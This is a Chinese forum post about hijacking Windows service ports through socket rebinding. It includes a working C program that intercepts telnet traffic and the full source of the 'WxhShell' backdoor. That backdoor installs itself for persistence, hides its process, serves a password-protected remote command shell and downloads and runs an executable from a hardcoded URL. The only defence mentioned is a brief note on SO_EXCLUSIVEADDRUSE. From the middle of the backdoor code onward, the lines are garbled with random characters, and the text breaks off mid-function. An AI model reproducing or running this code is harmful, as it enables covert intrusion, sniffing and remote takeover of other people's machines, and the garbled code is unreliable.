[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; RTHe#`t
if(chr[0]==0xd || chr[0]==0xa) { z(-j%?
pwd=0; AOh\%|}
break; v0~'`*|&
} =(!&8U9
i++; p&Os5zw;|
} D{%l 4og
w Pk\dyP
// 如果是非法用户，关闭 socket zli@XZ#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /h)_Q;35S;
} ]Q?`|a+i
H9d!-9I
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Mq!vu!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :>@6\
(}$pf6s
while(1) { ;0)|c}n+.5
}N^A (`L
ZeroMemory(cmd,KEY_BUFF); Idy{(Q
R`)^eqB
// 自动支持客户端 telnet标准 PEKU
j=0; 0?]Y^:
while(j<KEY_BUFF) { $L~?!u&N
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J>H$4t#HX
cmd[j]=chr[0]; {'.[N79xP
if(chr[0]==0xa || chr[0]==0xd) { k!{0ku}]
cmd[j]=0; 4Dd@&N
break; xY3KKje
} pS1f y]
j++; z#$>f*b
} PL+j;V(<
r2KfZ>tWg"
// 下载文件 -vRZCIj!
if(strstr(cmd,"http://")) { r&^xg`i[z>
send(wsh,msg_ws_down,strlen(msg_ws_down),0); h.A@o#x
if(DownloadFile(cmd,wsh)) RmR-uQU-c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )<]*!
else 3LxhQVx2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JG]67v{F
} Ts+S>$
else { m7GM1[?r
P;A9t#\
switch(cmd[0]) { sj"zgE)
U Bo[iZ|%
// 帮助 !=C74$TH
case '?': { :h4Nfz(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q9cN2|:
break; \Vc-W|e
} @ m' zm:
// 安装 byT@O:fL
case 'i': { z0@{5e$#Y
if(Install()) oWJ0>)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Z2fVz~9
else aan)yP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O{4G'CgN(
break; $#b@b[h<w
} :\]TAQd-
// 卸载 T^"-;
case 'r': { 6c[&[L%
if(Uninstall()) ~,*=j~#h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gpIq4Q<
else {S+ $C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hkifd4#
break; +prr~vgE
} 3RwDIk?>%
// 显示 wxhshell 所在路径 rA=iBb3`
case 'p': { nUp, %z[
char svExeFile[MAX_PATH]; ~\UH`_83[
strcpy(svExeFile,"\n\r"); anM]khs?
strcat(svExeFile,ExeFile); E%B:6
send(wsh,svExeFile,strlen(svExeFile),0); ;x]CaG)f
break; K\bA[5+N
} ,Pq@{i#
// 重启 6~:eO(pK l
case 'b': { 5$Q}Zxh
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kjS9?>i
if(Boot(REBOOT)) 5,i0QT"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PVNDvUce
else { EFd9n
closesocket(wsh); !CnkG<5z>
ExitThread(0); 1FkS$ j8:
} i4Ps#R_wx
break; &bIE"ZBjt
} LqDj4[}
// 关机 !=-{$& {
case 'd': { fz9 ,p;b
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vtm?x,h
if(Boot(SHUTDOWN)) GKT^rc-YT-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nm8XHk]
else { t08E 2sI
closesocket(wsh); u3[A~V|0=
ExitThread(0); )BJZ{E*
} X:0-FCT;\
break; +*'^T)sj/
} \&KfIh8
// 获取shell >[$j(k^
case 's': { HVG:q#=C
CmdShell(wsh); E8`AU<
closesocket(wsh); L}*s_'_e^>
ExitThread(0); Cyn_UE
break; @4ccZ&`
} B1u.aa$
// 退出 x_X%|f
case 'x': { AA&5wDMV>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i_[nW
CloseIt(wsh); "\CUHr9k
break; `dGcjLsIz
} PQ}owEJ2eM
// 离开 vrGx<0$
case 'q': { rAuv`.qEV
send(wsh,msg_ws_end,strlen(msg_ws_end),0); r_p4pxs
closesocket(wsh); 9i8 ~
WSACleanup(); 7uI~Xo?N
exit(1); y}.?`/Q#
break; W%&[gDp
} 0q!
} ?'jRUfl
} s)eU^4m
UtpK"U$XOU
// 提示信息 R9-Ps qmF
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3-%F)@n
} ML)5nJD
} x5Z(_hU
s|q]11r+H
return; -9X#+-
} uhf% zG
RaX:&PE
// shell模块句柄 @pn<x"F5'
int CmdShell(SOCKET sock) !!\OB6
{ It@1!_tO2
STARTUPINFO si; xGBp+j1H
ZeroMemory(&si,sizeof(si)); W "}Cfv
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?h1r6?Sug{
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]ssX,1#Xh
PROCESS_INFORMATION ProcessInfo; DO5H(a
char cmdline[]="cmd"; vIK+18v7
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7)FI_uW
return 0; Y/Dah*
} Ln3<r&&Jz
Y6R+i0guz
// 自身启动模式 =Felo8+
int StartFromService(void) iN]#XIQ%
{ b-Uy&+:X*d
typedef struct |s}7<A
{ =D}]|ie
DWORD ExitStatus; (&=gM
DWORD PebBaseAddress; =0" Zse,
DWORD AffinityMask; 6M)4v{F
DWORD BasePriority; 1|Q-|jq`
ULONG UniqueProcessId; $!m (S&f
ULONG InheritedFromUniqueProcessId; wpW3%r;9
} PROCESS_BASIC_INFORMATION; XW2{I.:in>
Dau'VtzN
PROCNTQSIP NtQueryInformationProcess; Bq# l8u
exfJm'R?n
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )r +o51gp
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xBevf&tP
/z(;1$Ld6{
HANDLE hProcess; V39`J*fI
PROCESS_BASIC_INFORMATION pbi; 4w)aAXK
Q!&@aKl
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $,&3:ke1
if(NULL == hInst ) return 0; nN|1cJ'.Fk
`{ 6K~(
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )RZ:\:c
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .~L^h/)Gjy
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'UN 'gXny
JIYZ
if (!NtQueryInformationProcess) return 0; Q9C;_Up
X1J'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |."thTO
if(!hProcess) return 0; u,f$cR
9-6E(D-ux
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q<2b,w==
YH .+(tNv
CloseHandle(hProcess); YYzl"<)c
zo{WmV7[|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NR@n%p
if(hProcess==NULL) return 0; }o{6
.on}F>3k$
HMODULE hMod; {rE]y C^
char procName[255]; + NpHk
unsigned long cbNeeded; Oj`I=O6
x[w!buV0\
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kNnI$(H"H
Dg_AoC
CloseHandle(hProcess); %Q2<bj]
iAWd 9x
if(strstr(procName,"services")) return 1; // 以服务启动 __Tg1A
3ug-cq
return 0; // 注册表启动 /"LcW"2;N
} d0"Xlleld
v? VNWK2
// 主模块 '*XX|\.
int StartWxhshell(LPSTR lpCmdLine) g,,'Pdd7Pn
{ $RJpn]d j
SOCKET wsl; qL 0{w7
BOOL val=TRUE; k#Bq8d
int port=0; }c1?:8p
struct sockaddr_in door; r:QLO~l/
N7WQ{/PSG
if(wscfg.ws_autoins) Install(); nYF;.k
)vcyoq
port=atoi(lpCmdLine); tI-u@ g
ZY Ci&l
if(port<=0) port=wscfg.ws_port; p~!UE/V
fSL'+l3
WSADATA data; 7yDWcm_y
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G$HXc$OY
Y8$,So>~
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _,C>+dv)
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0wlKBwf`J
door.sin_family = AF_INET; LE1#pB3TG
door.sin_addr.s_addr = inet_addr("127.0.0.1"); F]4JemSjK
door.sin_port = htons(port); QT\=>,Fz _
u+ ?Wm40E
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dRXEF6G
closesocket(wsl); FWJhi$\:D]
return 1; .dvOUt I[
} -%g&O-i\
L=1~)>mP
if(listen(wsl,2) == INVALID_SOCKET) { |[lmW%
closesocket(wsl); BA 9c-Ay
return 1; q(C<w
} {*jo,<4ee
Wxhshell(wsl); (aQNe{D#
WSACleanup(); },W<1*|
X\yy\`o
return 0; 4sCzUvI~Y1
5?{ytNCY
} `Zm-F
F CbU> 1R
// 以NT服务方式启动 dQkp &.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ys#V_ysb
{ R3`h$`G
DWORD status = 0; `YinhO:Z
DWORD specificError = 0xfffffff; + yF._Ie=
f#mcWL1}
serviceStatus.dwServiceType = SERVICE_WIN32; GqT0SP
serviceStatus.dwCurrentState = SERVICE_START_PENDING; jLy3c@Dp
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y>l92=G
serviceStatus.dwWin32ExitCode = 0; z|5Sy.H>
serviceStatus.dwServiceSpecificExitCode = 0; s?g`ufF.t
serviceStatus.dwCheckPoint = 0; {@7{!I|eD
serviceStatus.dwWaitHint = 0; s,*kWy"jp
6L)]nE0^
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q-qM"8I
if (hServiceStatusHandle==0) return; P t)Ni
8>KBh)q
status = GetLastError(); "yo~;[
if (status!=NO_ERROR) (r]3tGp
{ _K#LOSMfj/
serviceStatus.dwCurrentState = SERVICE_STOPPED; :nPLQqXGQ
serviceStatus.dwCheckPoint = 0; pg4J)<t#
serviceStatus.dwWaitHint = 0; X^!1MpEQ
serviceStatus.dwWin32ExitCode = status; {#]vvO2~$
serviceStatus.dwServiceSpecificExitCode = specificError; ,8vqzI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pFZ2(b&
return; 2Y`C\u
} @0mR_\u\
c2aW4TX2
serviceStatus.dwCurrentState = SERVICE_RUNNING; .-[d6Pnw
serviceStatus.dwCheckPoint = 0; ha%3%O8Z
serviceStatus.dwWaitHint = 0; mK>c+ u)
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _?+gfi+
} 5^}"Tn4I
ycr\vn t
// 处理NT服务事件，比如：启动、停止 T/$6ov+K
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z^ e?V7q
{ h ?Ni5
switch(fdwControl) JQp::,g
{ ,vnHEY&
case SERVICE_CONTROL_STOP: 4%]wd}'#Un
serviceStatus.dwWin32ExitCode = 0; bc{ {a
serviceStatus.dwCurrentState = SERVICE_STOPPED; EC]b]'._
serviceStatus.dwCheckPoint = 0; #:5vN-9?
serviceStatus.dwWaitHint = 0; lg(*:To3B
{ )l|/lj
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ca?:x tt
} Pl>S1
return; t5qNfiKC
case SERVICE_CONTROL_PAUSE: VEuT!^0Z
serviceStatus.dwCurrentState = SERVICE_PAUSED; Jbmi[`O
break; \"X<\3z2
case SERVICE_CONTROL_CONTINUE: }!W,/=z*
serviceStatus.dwCurrentState = SERVICE_RUNNING; )225ee>
break; bi^Xdu
case SERVICE_CONTROL_INTERROGATE: Buue][[
break; ];vEj*jCX
}; c5($*tTT
SetServiceStatus(hServiceStatusHandle, &serviceStatus); has \W\(
} ^F*G
{}#W~1`
// 标准应用程序主函数 +].Zs<
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T/A[C
{ #})OnM^],
Mu>GgQSZ
// 获取操作系统版本 w,<nH:~
OsIsNt=GetOsVer(); xux j
GetModuleFileName(NULL,ExeFile,MAX_PATH); bK7j"
sI7<rI.t){
// 从命令行安装 <ah!!
if(strpbrk(lpCmdLine,"iI")) Install(); BaLvlB
RbY=OOQ
// 下载执行文件 |@rPd=G^(/
if(wscfg.ws_downexe) { ep<O?7@j-G
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ["N)=d|LS
